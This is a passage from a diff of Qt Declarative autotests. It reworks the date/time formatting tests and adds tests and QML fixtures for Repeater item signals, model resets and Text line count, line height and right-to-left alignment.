QDeclarativeView *tst_QDeclarativePositioners::createView(const QString &filename)
{
QDeclarativeView *canvas = new QDeclarativeView(0);
diff --git a/tests/auto/declarative/qdeclarativeqt/data/formatting.qml b/tests/auto/declarative/qdeclarativeqt/data/formatting.qml
index 35c6a29..f520aeb 100644
--- a/tests/auto/declarative/qdeclarativeqt/data/formatting.qml
+++ b/tests/auto/declarative/qdeclarativeqt/data/formatting.qml
@@ -1,29 +1,44 @@
import QtQuick 1.0
QtObject {
- property date date1: "2008-12-24"
- property string test1: Qt.formatDate(date1)
- property string test2: Qt.formatDate(date1, Qt.DefaultLocaleLongDate)
- property string test3: Qt.formatDate(date1, "ddd MMMM d yy")
+ property date dateFromString: "2008-12-24"
+ property variant jsdate: new Date(2008,11,24,14,15,38,200) // months are 0-based
- property variant time1: new Date(0,0,0,14,15,38,200)
- property string test4: Qt.formatTime(time1)
- property string test5: Qt.formatTime(time1, Qt.DefaultLocaleLongDate)
- property string test6: Qt.formatTime(time1, "H:m:s a")
- property string test7: Qt.formatTime(time1, "hh:mm:ss.zzz")
+ function formatDate(prop) {
+ var v = eval(prop)
+ return [
+ Qt.formatDate(v),
+ Qt.formatDate(v, Qt.DefaultLocaleLongDate),
+ Qt.formatDate(v, "ddd MMMM d yy")
+ ]
+ }
- property variant dateTime1: new Date(1978,2,4,9,13,54)
- property string test8: Qt.formatDateTime(dateTime1)
- property string test9: Qt.formatDateTime(dateTime1, Qt.DefaultLocaleLongDate)
- property string test10: Qt.formatDateTime(dateTime1, "M/d/yy H:m:s a")
+ function formatTime(prop) {
+ var v = eval(prop)
+ return [
+ Qt.formatTime(v),
+ Qt.formatTime(v, Qt.DefaultLocaleLongDate),
+ Qt.formatTime(v, "H:m:s a"),
+ Qt.formatTime(v, "hh:mm:ss.zzz")
+ ]
+ }
+
+ function formatDateTime(prop) {
+ var v = eval(prop)
+ return [
+ Qt.formatDateTime(v),
+ Qt.formatDateTime(v, Qt.DefaultLocaleLongDate),
+ Qt.formatDateTime(v, "M/d/yy H:m:s a")
+ ]
+ }
// Error cases
- property string test11: Qt.formatDate()
- property string test12: Qt.formatDate(new Date, new Object)
+ property string err_date1: Qt.formatDate()
+ property string err_date2: Qt.formatDate(new Date, new Object)
- property string test13: Qt.formatTime()
- property string test14: Qt.formatTime(new Date, new Object)
+ property string err_time1: Qt.formatTime()
+ property string err_time2: Qt.formatTime(new Date, new Object)
- property string test15: Qt.formatDateTime()
- property string test16: Qt.formatDateTime(new Date, new Object)
+ property string err_dateTime1: Qt.formatDateTime()
+ property string err_dateTime2: Qt.formatDateTime(new Date, new Object)
}
diff --git a/tests/auto/declarative/qdeclarativeqt/qdeclarativeqt.pro b/tests/auto/declarative/qdeclarativeqt/qdeclarativeqt.pro
index 71ff8a8..4b197eb 100644
--- a/tests/auto/declarative/qdeclarativeqt/qdeclarativeqt.pro
+++ b/tests/auto/declarative/qdeclarativeqt/qdeclarativeqt.pro
@@ -1,5 +1,5 @@
load(qttest_p4)
-contains(QT_CONFIG,declarative): QT += declarative
+contains(QT_CONFIG,declarative): QT += declarative script
SOURCES += tst_qdeclarativeqt.cpp
macx:CONFIG -= app_bundle
diff --git a/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp b/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp
index bd9d01f..80d9d93 100644
--- a/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp
+++ b/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp
@@ -38,6 +38,7 @@
** $QT_END_LICENSE$
**
****************************************************************************/
+#include <private/qdeclarativeengine_p.h>
#include <qtest.h>
#include <QDebug>
@@ -81,7 +82,8 @@ private slots:
void createComponent_pragmaLibrary();
void createQmlObject();
void consoleLog();
- void formatting();
+ void dateTimeFormatting();
+ void dateTimeFormatting_data();
void isQtObject();
void btoa();
void atob();
@@ -446,49 +448,88 @@ void tst_qdeclarativeqt::consoleLog()
delete object;
}
-void tst_qdeclarativeqt::formatting()
+void tst_qdeclarativeqt::dateTimeFormatting()
{
- QDeclarativeComponent component(&engine, TEST_FILE("formatting.qml"));
+ QFETCH(QString, method);
+ QFETCH(QStringList, inputProperties);
+ QFETCH(QStringList, expectedResults);
- QString warning1 = component.url().toString() + ":22: Error: Qt.formatDate(): Invalid date format";
- QString warning2 = component.url().toString() + ":21: Error: Qt.formatDate(): Invalid arguments";
- QString warning3 = component.url().toString() + ":28: Error: Qt.formatDateTime(): Invalid datetime format";
- QString warning4 = component.url().toString() + ":27: Error: Qt.formatDateTime(): Invalid arguments";
- QString warning5 = component.url().toString() + ":25: Error: Qt.formatTime(): Invalid time format";
- QString warning6 = component.url().toString() + ":24: Error: Qt.formatTime(): Invalid arguments";
+ QDate date(2008,12,24);
+ QTime time(14,15,38,200);
+ QDateTime dateTime(date, time);
- QTest::ignoreMessage(QtWarningMsg, qPrintable(warning1));
- QTest::ignoreMessage(QtWarningMsg, qPrintable(warning2));
- QTest::ignoreMessage(QtWarningMsg, qPrintable(warning3));
- QTest::ignoreMessage(QtWarningMsg, qPrintable(warning4));
- QTest::ignoreMessage(QtWarningMsg, qPrintable(warning5));
- QTest::ignoreMessage(QtWarningMsg, qPrintable(warning6));
+ QDeclarativeEngine eng;
+
+ eng.rootContext()->setContextProperty("qdate", date);
+ eng.rootContext()->setContextProperty("qtime", time);
+ eng.rootContext()->setContextProperty("qdatetime", dateTime);
+
+ QDeclarativeComponent component(&eng, TEST_FILE("formatting.qml"));
+
+ QStringList warnings;
+ warnings << component.url().toString() + ":37: Error: Qt.formatDate(): Invalid date format"
+ << component.url().toString() + ":36: Error: Qt.formatDate(): Invalid arguments"
+ << component.url().toString() + ":40: Error: Qt.formatTime(): Invalid time format"
+ << component.url().toString() + ":39: Error: Qt.formatTime(): Invalid arguments"
+ << component.url().toString() + ":43: Error: Qt.formatDateTime(): Invalid datetime format"
+ << component.url().toString() + ":42: Error: Qt.formatDateTime(): Invalid arguments";
+
+ foreach (const QString &warning, warnings)
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning));
QObject *object = component.create();
+ QVERIFY2(component.errorString().isEmpty(), qPrintable(component.errorString()));
QVERIFY(object != 0);
- QDate date1(2008,12,24);
- QCOMPARE(object->property("date1").toDate(), date1);
- QCOMPARE(object->property("test1").toString(), date1.toString(Qt::DefaultLocaleShortDate));
- QCOMPARE(object->property("test2").toString(), date1.toString(Qt::DefaultLocaleLongDate));
- QCOMPARE(object->property("test3").toString(), date1.toString("ddd MMMM d yy"));
-
- QTime time1(14,15,38,200);
- QCOMPARE(object->property("time1").toTime(), time1);
- QCOMPARE(object->property("test4").toString(), time1.toString(Qt::DefaultLocaleShortDate));
- QCOMPARE(object->property("test5").toString(), time1.toString(Qt::DefaultLocaleLongDate));
- QCOMPARE(object->property("test6").toString(), time1.toString("H:m:s a"));
- QCOMPARE(object->property("test7").toString(), time1.toString("hh:mm:ss.zzz"));
-
- QDateTime dateTime1(QDate(1978,03,04),QTime(9,13,54));
- QCOMPARE(object->property("dateTime1").toDateTime(),dateTime1);
- QCOMPARE(object->property("test8").toString(), dateTime1.toString(Qt::DefaultLocaleShortDate));
- QCOMPARE(object->property("test9").toString(), dateTime1.toString(Qt::DefaultLocaleLongDate));
- QCOMPARE(object->property("test10").toString(), dateTime1.toString("M/d/yy H:m:s a"));
+ QVERIFY(inputProperties.count() > 0);
+
+ QVariant result;
+ foreach(const QString &prop, inputProperties) {
+ QVERIFY(QMetaObject::invokeMethod(object, method.toUtf8().constData(),
+ Q_RETURN_ARG(QVariant, result),
+ Q_ARG(QVariant, prop)));
+
+ QStringList output = result.toStringList();
+ for (int i=0; i<output.count(); i++)
+ QCOMPARE(output[i], expectedResults[i]);
+ }
delete object;
}
+void tst_qdeclarativeqt::dateTimeFormatting_data()
+{
+ QTest::addColumn<QString>("method");
+ QTest::addColumn<QStringList>("inputProperties");
+ QTest::addColumn<QStringList>("expectedResults");
+
+ QDate date(2008,12,24);
+ QTime time(14,15,38,200);
+ QDateTime dateTime(date, time);
+
+ QTest::newRow("formatDate")
+ << "formatDate"
+ << (QStringList() << "dateFromString" << "jsdate" << "qdate" << "qdatetime")
+ << (QStringList() << date.toString(Qt::DefaultLocaleShortDate)
+ << date.toString(Qt::DefaultLocaleLongDate)
+ << date.toString("ddd MMMM d yy"));
+
+ QTest::newRow("formatTime")
+ << "formatTime"
+ << (QStringList() << "jsdate" << "qtime" << "qdatetime")
+ << (QStringList() << time.toString(Qt::DefaultLocaleShortDate)
+ << time.toString(Qt::DefaultLocaleLongDate)
+ << time.toString("H:m:s a")
+ << time.toString("hh:mm:ss.zzz"));
+
+ QTest::newRow("formatDateTime")
+ << "formatDateTime"
+ << (QStringList() << "jsdate" << "qdatetime")
+ << (QStringList() << dateTime.toString(Qt::DefaultLocaleShortDate)
+ << dateTime.toString(Qt::DefaultLocaleLongDate)
+ << dateTime.toString("M/d/yy H:m:s a"));
+}
+
void tst_qdeclarativeqt::isQtObject()
{
QDeclarativeComponent component(&engine, TEST_FILE("isQtObject.qml"));
diff --git a/tests/auto/declarative/qdeclarativerepeater/data/modelChanged.qml b/tests/auto/declarative/qdeclarativerepeater/data/modelChanged.qml
new file mode 100644
index 0000000..0b57d50
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativerepeater/data/modelChanged.qml
@@ -0,0 +1,26 @@
+import QtQuick 1.1
+
+Column {
+ Repeater {
+ id: repeater
+ objectName: "repeater"
+
+ property int itemsCount
+ property variant itemsFound: []
+
+ delegate: Rectangle {
+ color: "red"
+ width: (index+1)*50
+ height: 50
+ }
+
+ onModelChanged: {
+ repeater.itemsCount = repeater.count
+ var items = []
+ for (var i=0; i<repeater.count; i++)
+ items.push(repeater.itemAt(i))
+ repeater.itemsFound = items
+ }
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp b/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp
index d849d73..ba52987 100644
--- a/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp
+++ b/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp
@@ -69,9 +69,15 @@ private slots:
void numberModel();
void objectList();
void stringList();
- void dataModel();
+ void dataModel_adding();
+ void dataModel_removing();
+ void dataModel_changes();
void itemModel();
+ void resetModel();
+ void modelChanged();
void properties();
+ void testQtQuick11Attributes();
+ void testQtQuick11Attributes_data();
private:
QDeclarativeView *createView();
@@ -186,6 +192,11 @@ void tst_QDeclarativeRepeater::numberModel()
QVERIFY(repeater != 0);
QCOMPARE(repeater->parentItem()->childItems().count(), 5+1);
+ QVERIFY(!repeater->itemAt(-1));
+ for (int i=0; i<repeater->count(); i++)
+ QCOMPARE(repeater->itemAt(i), repeater->parentItem()->childItems().at(i));
+ QVERIFY(!repeater->itemAt(repeater->count()));
+
QMetaObject::invokeMethod(canvas->rootObject(), "checkProperties");
QVERIFY(testObject->error() == false);
@@ -223,6 +234,17 @@ void tst_QDeclarativeRepeater::objectList()
QCOMPARE(repeater->property("errors").toInt(), 0);//If this fails either they are out of order or can't find the object's data
QCOMPARE(repeater->property("instantiated").toInt(), 100);
+ QVERIFY(!repeater->itemAt(-1));
+ for (int i=0; i<data.count(); i++)
+ QCOMPARE(repeater->itemAt(i), repeater->parentItem()->childItems().at(i));
+ QVERIFY(!repeater->itemAt(data.count()));
+
+ QSignalSpy addedSpy(repeater, SIGNAL(itemAdded(int,QDeclarativeItem*)));
+ QSignalSpy removedSpy(repeater, SIGNAL(itemRemoved(int,QDeclarativeItem*)));
+ ctxt->setContextProperty("testData", QVariant::fromValue(data));
+ QCOMPARE(addedSpy.count(), data.count());
+ QCOMPARE(removedSpy.count(), data.count());
+
qDeleteAll(data);
delete canvas;
}
@@ -284,7 +306,69 @@ void tst_QDeclarativeRepeater::stringList()
delete canvas;
}
-void tst_QDeclarativeRepeater::dataModel()
+void tst_QDeclarativeRepeater::dataModel_adding()
+{
+ QDeclarativeView *canvas = createView();
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ TestObject *testObject = new TestObject;
+ ctxt->setContextProperty("testObject", testObject);
+
+ TestModel testModel;
+ ctxt->setContextProperty("testData", &testModel);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/repeater2.qml"));
+ qApp->processEvents();
+
+ QDeclarativeRepeater *repeater = findItem<QDeclarativeRepeater>(canvas->rootObject(), "repeater");
+ QVERIFY(repeater != 0);
+ QDeclarativeItem *container = findItem<QDeclarativeItem>(canvas->rootObject(), "container");
+ QVERIFY(container != 0);
+
+ QVERIFY(!repeater->itemAt(0));
+
+ QSignalSpy countSpy(repeater, SIGNAL(countChanged()));
+ QSignalSpy addedSpy(repeater, SIGNAL(itemAdded(int,QDeclarativeItem*)));
+
+ // add to empty model
+ testModel.addItem("two", "2");
+ QCOMPARE(repeater->itemAt(0), container->childItems().at(0));
+ QCOMPARE(countSpy.count(), 1); countSpy.clear();
+ QCOMPARE(addedSpy.count(), 1);
+ QCOMPARE(addedSpy.at(0).at(0).toInt(), 0);
+ QCOMPARE(addedSpy.at(0).at(1).value<QDeclarativeItem*>(), container->childItems().at(0));
+ addedSpy.clear();
+
+ // insert at start
+ testModel.insertItem(0, "one", "1");
+ QCOMPARE(repeater->itemAt(0), container->childItems().at(0));
+ QCOMPARE(countSpy.count(), 1); countSpy.clear();
+ QCOMPARE(addedSpy.count(), 1);
+ QCOMPARE(addedSpy.at(0).at(0).toInt(), 0);
+ QCOMPARE(addedSpy.at(0).at(1).value<QDeclarativeItem*>(), container->childItems().at(0));
+ addedSpy.clear();
+
+ // insert at end
+ testModel.insertItem(2, "four", "4");
+ QCOMPARE(repeater->itemAt(2), container->childItems().at(2));
+ QCOMPARE(countSpy.count(), 1); countSpy.clear();
+ QCOMPARE(addedSpy.count(), 1);
+ QCOMPARE(addedSpy.at(0).at(0).toInt(), 2);
+ QCOMPARE(addedSpy.at(0).at(1).value<QDeclarativeItem*>(), container->childItems().at(2));
+ addedSpy.clear();
+
+ // insert in middle
+ testModel.insertItem(2, "three", "3");
+ QCOMPARE(repeater->itemAt(2), container->childItems().at(2));
+ QCOMPARE(countSpy.count(), 1); countSpy.clear();
+ QCOMPARE(addedSpy.count(), 1);
+ QCOMPARE(addedSpy.at(0).at(0).toInt(), 2);
+ QCOMPARE(addedSpy.at(0).at(1).value<QDeclarativeItem*>(), container->childItems().at(2));
+ addedSpy.clear();
+
+ delete testObject;
+ delete canvas;
+}
+
+void tst_QDeclarativeRepeater::dataModel_removing()
{
QDeclarativeView *canvas = createView();
QDeclarativeContext *ctxt = canvas->rootContext();
@@ -295,28 +379,84 @@ void tst_QDeclarativeRepeater::dataModel()
testModel.addItem("one", "1");
testModel.addItem("two", "2");
testModel.addItem("three", "3");
+ testModel.addItem("four", "4");
+ testModel.addItem("five", "5");
ctxt->setContextProperty("testData", &testModel);
-
canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/repeater2.qml"));
qApp->processEvents();
QDeclarativeRepeater *repeater = findItem<QDeclarativeRepeater>(canvas->rootObject(), "repeater");
QVERIFY(repeater != 0);
-
QDeclarativeItem *container = findItem<QDeclarativeItem>(canvas->rootObject(), "container");
QVERIFY(container != 0);
+ QCOMPARE(container->childItems().count(), repeater->count()+1);
+
+ QSignalSpy countSpy(repeater, SIGNAL(countChanged()));
+ QSignalSpy removedSpy(repeater, SIGNAL(itemRemoved(int,QDeclarativeItem*)));
+
+ // remove at start
+ QDeclarativeItem *item = repeater->itemAt(0);
+ QCOMPARE(item, container->childItems().at(0));
+
+ testModel.removeItem(0);
+ QVERIFY(repeater->itemAt(0) != item);
+ QCOMPARE(countSpy.count(), 1); countSpy.clear();
+ QCOMPARE(removedSpy.count(), 1);
+ QCOMPARE(removedSpy.at(0).at(0).toInt(), 0);
+ QCOMPARE(removedSpy.at(0).at(1).value<QDeclarativeItem*>(), item);
+ removedSpy.clear();
+
+ // remove at end
+ int lastIndex = testModel.count()-1;
+ item = repeater->itemAt(lastIndex);
+ QCOMPARE(item, container->childItems().at(lastIndex));
+
+ testModel.removeItem(lastIndex);
+ QVERIFY(repeater->itemAt(lastIndex) != item);
+ QCOMPARE(countSpy.count(), 1); countSpy.clear();
+ QCOMPARE(removedSpy.count(), 1);
+ QCOMPARE(removedSpy.at(0).at(0).toInt(), lastIndex);
+ QCOMPARE(removedSpy.at(0).at(1).value<QDeclarativeItem*>(), item);
+ removedSpy.clear();
+
+ // remove from middle
+ item = repeater->itemAt(1);
+ QCOMPARE(item, container->childItems().at(1));
+
+ testModel.removeItem(1);
+ QVERIFY(repeater->itemAt(lastIndex) != item);
+ QCOMPARE(countSpy.count(), 1); countSpy.clear();
+ QCOMPARE(removedSpy.count(), 1);
+ QCOMPARE(removedSpy.at(0).at(0).toInt(), 1);
+ QCOMPARE(removedSpy.at(0).at(1).value<QDeclarativeItem*>(), item);
+ removedSpy.clear();
- QCOMPARE(container->childItems().count(), 4);
+ delete testObject;
+ delete canvas;
+}
- QSignalSpy repeaterSpy(repeater, SIGNAL(countChanged()));
- testModel.addItem("four", "4");
- QCOMPARE(container->childItems().count(), 5);
- QCOMPARE(repeaterSpy.count(),1);
+void tst_QDeclarativeRepeater::dataModel_changes()
+{
+ QDeclarativeView *canvas = createView();
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ TestObject *testObject = new TestObject;
+ ctxt->setContextProperty("testObject", testObject);
- testModel.removeItem(2);
- QCOMPARE(container->childItems().count(), 4);
- QCOMPARE(repeaterSpy.count(),2);
+ TestModel testModel;
+ testModel.addItem("one", "1");
+ testModel.addItem("two", "2");
+ testModel.addItem("three", "3");
+
+ ctxt->setContextProperty("testData", &testModel);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/repeater2.qml"));
+ qApp->processEvents();
+
+ QDeclarativeRepeater *repeater = findItem<QDeclarativeRepeater>(canvas->rootObject(), "repeater");
+ QVERIFY(repeater != 0);
+ QDeclarativeItem *container = findItem<QDeclarativeItem>(canvas->rootObject(), "container");
+ QVERIFY(container != 0);
+ QCOMPARE(container->childItems().count(), repeater->count()+1);
// Check that model changes are propagated
QDeclarativeText *text = findItem<QDeclarativeText>(canvas->rootObject(), "myName", 1);
@@ -377,6 +517,93 @@ void tst_QDeclarativeRepeater::itemModel()
delete canvas;
}
+void tst_QDeclarativeRepeater::resetModel()
+{
+ QDeclarativeView *canvas = createView();
+
+ QStringList dataA;
+ for (int i=0; i<10; i++)
+ dataA << QString::number(i);
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testData", dataA);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/repeater1.qml"));
+ qApp->processEvents();
+ QDeclarativeRepeater *repeater = findItem<QDeclarativeRepeater>(canvas->rootObject(), "repeater");
+ QVERIFY(repeater != 0);
+ QDeclarativeItem *container = findItem<QDeclarativeItem>(canvas->rootObject(), "container");
+ QVERIFY(container != 0);
+
+ QCOMPARE(repeater->count(), dataA.count());
+ for (int i=0; i<repeater->count(); i++)
+ QCOMPARE(repeater->itemAt(i), container->childItems().at(i+1)); // +1 to skip first Text object
+
+ QSignalSpy modelChangedSpy(repeater, SIGNAL(modelChanged()));
+ QSignalSpy countSpy(repeater, SIGNAL(countChanged()));
+ QSignalSpy addedSpy(repeater, SIGNAL(itemAdded(int,QDeclarativeItem*)));
+ QSignalSpy removedSpy(repeater, SIGNAL(itemRemoved(int,QDeclarativeItem*)));
+
+ QStringList dataB;
+ for (int i=0; i<20; i++)
+ dataB << QString::number(i);
+
+ // reset context property
+ ctxt->setContextProperty("testData", dataB);
+ QCOMPARE(repeater->count(), dataB.count());
+
+ QCOMPARE(modelChangedSpy.count(), 1);
+ QCOMPARE(countSpy.count(), 1);
+ QCOMPARE(removedSpy.count(), dataA.count());
+ QCOMPARE(addedSpy.count(), dataB.count());
+ for (int i=0; i<dataB.count(); i++) {
+ QCOMPARE(addedSpy.at(i).at(0).toInt(), i);
+ QCOMPARE(addedSpy.at(i).at(1).value<QDeclarativeItem*>(), repeater->itemAt(i));
+ }
+ modelChangedSpy.clear();
+ countSpy.clear();
+ removedSpy.clear();
+ addedSpy.clear();
+
+ // reset via setModel()
+ repeater->setModel(dataA);
+ QCOMPARE(repeater->count(), dataA.count());
+
+ QCOMPARE(modelChangedSpy.count(), 1);
+ QCOMPARE(countSpy.count(), 1);
+ QCOMPARE(removedSpy.count(), dataB.count());
+ QCOMPARE(addedSpy.count(), dataA.count());
+ for (int i=0; i<dataA.count(); i++) {
+ QCOMPARE(addedSpy.at(i).at(0).toInt(), i);
+ QCOMPARE(addedSpy.at(i).at(1).value<QDeclarativeItem*>(), repeater->itemAt(i));
+ }
+
+ delete canvas;
+}
+
+// QTBUG-17156
+void tst_QDeclarativeRepeater::modelChanged()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, TEST_FILE("/modelChanged.qml"));
+
+ QDeclarativeItem *rootObject = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(rootObject);
+ QDeclarativeRepeater *repeater = findItem<QDeclarativeRepeater>(rootObject, "repeater");
+ QVERIFY(repeater);
+
+ repeater->setModel(4);
+ QCOMPARE(repeater->count(), 4);
+ QCOMPARE(repeater->property("itemsCount").toInt(), 4);
+ QCOMPARE(repeater->property("itemsFound").toList().count(), 4);
+
+ repeater->setModel(10);
+ QCOMPARE(repeater->count(), 10);
+ QCOMPARE(repeater->property("itemsCount").toInt(), 10);
+ QCOMPARE(repeater->property("itemsFound").toList().count(), 10);
+
+ delete rootObject;
+}
+
void tst_QDeclarativeRepeater::properties()
{
QDeclarativeEngine engine;
@@ -407,6 +634,50 @@ void tst_QDeclarativeRepeater::properties()
delete rootObject;
}
+void tst_QDeclarativeRepeater::testQtQuick11Attributes()
+{
+ QFETCH(QString, code);
+ QFETCH(QString, warning);
+ QFETCH(QString, error);
+
+ QDeclarativeEngine engine;
+ QObject *obj;
+
+ QDeclarativeComponent invalid(&engine);
+ invalid.setData("import QtQuick 1.0; Repeater { " + code.toUtf8() + " }", QUrl(""));
+ QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+ obj = invalid.create();
+ QCOMPARE(invalid.errorString(), error);
+ delete obj;
+
+ QDeclarativeComponent valid(&engine);
+ valid.setData("import QtQuick 1.1; Repeater { " + code.toUtf8() + " }", QUrl(""));
+ obj = valid.create();
+ QVERIFY(obj);
+ QVERIFY(valid.errorString().isEmpty());
+ delete obj;
+}
+
+void tst_QDeclarativeRepeater::testQtQuick11Attributes_data()
+{
+ QTest::addColumn<QString>("code");
+ QTest::addColumn<QString>("warning");
+ QTest::addColumn<QString>("error");
+
+ QTest::newRow("itemAdded") << "onItemAdded: count"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"Repeater.onItemAdded\" is not available in QtQuick 1.0.\n";
+
+ QTest::newRow("itemRemoved") << "onItemRemoved: count"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"Repeater.onItemRemoved\" is not available in QtQuick 1.0.\n";
+
+ QTest::newRow("itemAt") << "Component.onCompleted: itemAt(0)"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: itemAt"
+ << "";
+}
+
+
QDeclarativeView *tst_QDeclarativeRepeater::createView()
{
QDeclarativeView *canvas = new QDeclarativeView(0);
diff --git a/tests/auto/declarative/qdeclarativetext/data/horizontalAlignment_RightToLeft.qml b/tests/auto/declarative/qdeclarativetext/data/horizontalAlignment_RightToLeft.qml
new file mode 100644
index 0000000..4f58944
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetext/data/horizontalAlignment_RightToLeft.qml
@@ -0,0 +1,23 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: top
+ width: 200; height: 70;
+
+ property alias horizontalAlignment: text.horizontalAlignment
+ property string text: "اختبا"
+
+ Rectangle {
+ anchors.centerIn: parent
+ width: 180
+ height: 20
+ color: "green"
+
+ Text {
+ id: text
+ objectName: "text"
+ anchors.fill: parent
+ text: top.text
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativetext/data/lineCount.qml b/tests/auto/declarative/qdeclarativetext/data/lineCount.qml
new file mode 100644
index 0000000..63817f6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetext/data/lineCount.qml
@@ -0,0 +1,15 @@
+import QtQuick 1.1
+
+Item {
+ width: 200
+ height: 200
+
+ Text {
+ id: myText
+ objectName: "myText"
+ width: 200
+ wrapMode: Text.WordWrap
+ maximumLineCount: undefined
+ text: "Testing that maximumLines, visibleLines, and totalLines works properly in the autotests. The quick brown fox jumped over the lazy anything with the letter 'g'."
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativetext/data/lineHeight.qml b/tests/auto/declarative/qdeclarativetext/data/lineHeight.qml
new file mode 100644
index 0000000..851d871
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetext/data/lineHeight.qml
@@ -0,0 +1,15 @@
+import QtQuick 1.1
+
+Item {
+ width: 200
+ height: 200
+
+ Text {
+ id: myText
+ objectName: "myText"
+ width: 200
+ wrapMode: Text.WordWrap
+ font.pixelSize: 13
+ text: "Lorem ipsum sit amet, consectetur adipiscing elit. Integer felis nisl, varius in pretium nec, venenatis non erat. Proin lobortis interdum dictum."
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
index 480dba5..a3bba3b 100644
--- a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
+++ b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
@@ -43,12 +43,14 @@
#include <QtDeclarative/qdeclarativeengine.h>
#include <QtDeclarative/qdeclarativecomponent.h>
#include <private/qdeclarativetext_p.h>
+#include <private/qdeclarativetext_p_p.h>
#include <private/qdeclarativevaluetype_p.h>
#include <QFontMetrics>
#include <QGraphicsSceneMouseEvent>
#include <qmath.h>
#include <QDeclarativeView>
#include <private/qapplication_p.h>
+#include <limits.h>
#include "../../../shared/util.h"
#include "testhttpserver.h"
@@ -78,8 +80,12 @@ private slots:
void embeddedImages_data();
void embeddedImages();
+ void lineCount();
+ void lineHeight();
+
// ### these tests may be trivial
void horizontalAlignment();
+ void horizontalAlignment_RightToLeft();
void verticalAlignment();
void font();
void style();
@@ -98,6 +104,10 @@ private slots:
void clickLink();
void QTBUG_12291();
+ void implicitSize_data();
+ void implicitSize();
+ void testQtQuick11Attributes();
+ void testQtQuick11Attributes_data();
private:
QStringList standard;
@@ -460,6 +470,8 @@ void tst_qdeclarativetext::alignments()
QCOMPARE(actual,expect);
}
#endif
+
+ delete canvas;
}
//the alignment tests may be trivial o.oa
@@ -495,6 +507,32 @@ void tst_qdeclarativetext::horizontalAlignment()
}
+void tst_qdeclarativetext::horizontalAlignment_RightToLeft()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/horizontalAlignment_RightToLeft.qml");
+ QDeclarativeText *text = canvas->rootObject()->findChild<QDeclarativeText*>("text");
+ QVERIFY(text != 0);
+ canvas->show();
+
+ QDeclarativeTextPrivate *textPrivate = QDeclarativeTextPrivate::get(text);
+ QVERIFY(textPrivate != 0);
+
+ QVERIFY(textPrivate->layout.lineAt(0).x() > canvas->width()/2);
+
+ // "Right" aligned
+ text->setHAlign(QDeclarativeText::AlignRight);
+ QCOMPARE(text->hAlign(), QDeclarativeText::AlignRight);
+ QVERIFY(textPrivate->layout.lineAt(0).x() < canvas->width()/2);
+
+ // Center aligned
+ text->setHAlign(QDeclarativeText::AlignHCenter);
+ QCOMPARE(text->hAlign(), QDeclarativeText::AlignHCenter);
+ QVERIFY(textPrivate->layout.lineAt(0).x() < canvas->width()/2);
+ QVERIFY(textPrivate->layout.lineAt(0).x() + textPrivate->layout.lineAt(0).width() > canvas->width()/2);
+
+ delete canvas;
+}
+
void tst_qdeclarativetext::verticalAlignment()
{
//test one align each, and then test if two align fails.
@@ -926,6 +964,8 @@ void tst_qdeclarativetext::QTBUG_12291()
QDeclarativeText *text = ob->findChild<QDeclarativeText*>("text");
QVERIFY(text);
QVERIFY(text->boundingRect().isValid());
+
+ delete canvas;
}
class EventSender : public QGraphicsItem
@@ -1018,6 +1058,150 @@ void tst_qdeclarativetext::embeddedImages()
QCOMPARE(textObject->width(), 16.0); // default size of QTextDocument broken image icon
QCOMPARE(textObject->height(), 16.0);
}
+
+ delete textObject;
+}
+
+void tst_qdeclarativetext::lineCount()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/lineCount.qml");
+
+ QDeclarativeText *myText = canvas->rootObject()->findChild<QDeclarativeText*>("myText");
+ QVERIFY(myText != 0);
+
+ QVERIFY(myText->lineCount() > 1);
+ QVERIFY(!myText->truncated());
+ QCOMPARE(myText->maximumLineCount(), INT_MAX);
+
+ myText->setMaximumLineCount(2);
+ QCOMPARE(myText->lineCount(), 2);
+ QCOMPARE(myText->truncated(), true);
+ QCOMPARE(myText->maximumLineCount(), 2);
+
+ myText->resetMaximumLineCount();
+ QCOMPARE(myText->maximumLineCount(), INT_MAX);
+ QCOMPARE(myText->truncated(), false);
+
+ myText->setElideMode(QDeclarativeText::ElideRight);
+ myText->setMaximumLineCount(2);
+ QCOMPARE(myText->lineCount(), 2);
+ QCOMPARE(myText->truncated(), true);
+ QCOMPARE(myText->maximumLineCount(), 2);
+
+ delete canvas;
+}
+
+void tst_qdeclarativetext::lineHeight()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/lineHeight.qml");
+
+ QDeclarativeText *myText = canvas->rootObject()->findChild<QDeclarativeText*>("myText");
+ QVERIFY(myText != 0);
